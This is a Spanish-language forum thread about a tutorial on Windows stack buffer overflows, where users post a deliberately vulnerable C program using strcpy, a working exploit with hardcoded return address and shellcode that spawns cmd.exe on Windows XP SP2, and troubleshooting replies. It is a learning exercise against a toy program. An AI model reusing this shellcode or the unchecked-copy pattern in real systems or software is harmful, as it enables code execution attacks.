Autor
|
Tema: <-!-> Taller de Stack Overflows en Windows, por Rojodos (Leído 76,139 veces)
|
Dark_Knight
Desconectado
Mensajes: 97
|
hola tengo un problemacon el exploit.. cuando lo ejecuto me aparece algo asi.... AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLL▲ò|Uïý3 Wâý♦ãE°cãE¨mãE·dãE¹.ãE³eãE²xãE■eìE°P╗Ãô┐w Ë que estoy haciendo mal... y tengo una pregunta... cuando analizo los jmp de ntdll.dll me aparecen dos.. que hago... coloco los 2 jmp que me aparecen o solo coloco uno de los dos... espero su respuesta.. gracias
|
|
|
En línea
|
El hombre no puede crear nada sin antes dar algo a cambio... para crear... algo del mismo valor debe perderse.... esa es la ley de la equivalencia de intercambio... y el que desafie esa ley se convertira en un desafio de las creencias del ser humano y de la existencia de dios....
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
No entiendo por que este array: char EvilBuffer[1024], es de 1024... no tendria q ser de 64 para que se produzca el overflow??? saludos
|
|
|
En línea
|
|
|
|
Crack_X
Anti-War
Ex-Staff
Desconectado
Mensajes: 2.322
Peace & Love
|
Debe ser mayor que 64 para producirse el overflow.
|
|
|
En línea
|
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Pero si es mayor de 64 no se produce overflow si le metes las mismas As q si es de 64
saludos
|
|
|
En línea
|
|
|
|
_Xerks_
Desconectado
Mensajes: 35
Díselo a mi brillante culo metálico.
|
Hola a todos, quería en principio felicitar a Rojodos por este magnífico tutorial de "Stack Overflows en Windows", me ha encantado. Por si a alguien le resultara de ayuda posteo los códigos que adapté para mi Windows Xp SP2 Esp., compilados con Dev CPP. Vuln1.c #include <stdio.h> // librería stdio.h, funciones básicas de Entrada/Salida #include <string.h>
int main (int argc, char **argv){ // La función "principal" del programa
char buffer[64]; //Declaramos un array con 64 bytes de espacio if (argc < 2){ // Si los argumentos son menores que 2... printf ("Introduzca un argumento al programa\n"); //Printeamos return 0; // y retornamos 0 a la función main, y el programa acaba } strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.
return 0; // Devolvemos 0 a main, y el programa acaba. } exploit_vuln1.c #include <stdio.h> #include <stdlib.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50" "\xBB\xC7\x93\xBF\x77\xFF\xD3";
char offset[]="\xED\x1E\x95\x7C"; strcat(evilbuffer,offset); strcat(evilbuffer,shellcode); printf ("Cadena + offset + shellcode en formato printable\n\n"); printf ("%s", evilbuffer);
argv[0] = "vuln1"; argv[1] = evilbuffer; argv[2] = NULL; execv ("vuln1.exe",argv); } Un salu2.
|
|
« Última modificación: 26 Abril 2007, 22:50 pm por _Xerks_ »
|
En línea
|
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Tengo el mismo codigo que _Xerks_ y a mi no me funciona: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <windows.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50" "\xBB\xC7\x93\xBF\x77\xFD\xD3";
char offset[]="\xED\x1E\x95\x7C"; strcat(evilbuffer,offset); strcat(evilbuffer,shellcode); printf ("Cadena + offset + shellcode en formato printable\n\n"); printf ("%s", evilbuffer);
argv[0] = "vuln1"; argv[1] = evilbuffer; argv[2] = NULL; execv ("vuln1.exe",argv); }
Uso winXp SP2
|
|
|
En línea
|
|
|
|
_Xerks_
Desconectado
Mensajes: 35
Díselo a mi brillante culo metálico.
|
Hola Bochan, fíjate en esto... Mi código: "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50" "\xBB\xC7\x93\xBF\x77\xFF\xD3" Tu código: \x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50" "\xBB\xC7\x93\xBF\x77\ xFD\xD3"] Ya no es el mismo código Un salu2.
|
|
|
En línea
|
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Aunque lo cambie no me hace nada.... q compilador usas Dev-cpp?? Ya estoy deseperado porque lo ejecute y no hace nada de nada me tiene harto, llevo 5 dias con esto no veas lo q me esta costando
saludos
|
|
|
En línea
|
|
|
|
_Xerks_
Desconectado
Mensajes: 35
Díselo a mi brillante culo metálico.
|
Hola de nuevo, si, uso Dev Cpp, sólo por descartar posibles errores chorras, me imagino q´tienes compilado el Vuln1.c, y lo debes tener en la misma carpeta donde tengas compilado el exploit_vuln1.c, de no ser así, si exploit_vuln1.exe no encuentra a vuln1.exe no funcionará.
Un saludo.
|
|
« Última modificación: 27 Abril 2007, 07:21 am por _Xerks_ »
|
En línea
|
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
LoL tio era esooo!!!! tenia el vuln1.exe fuera de la carpeta de exploit_vul.exe joder q pardillo toy echo como se nota que soy novato....
gracias por la ayuda
|
|
|
En línea
|
|
|
|
|
|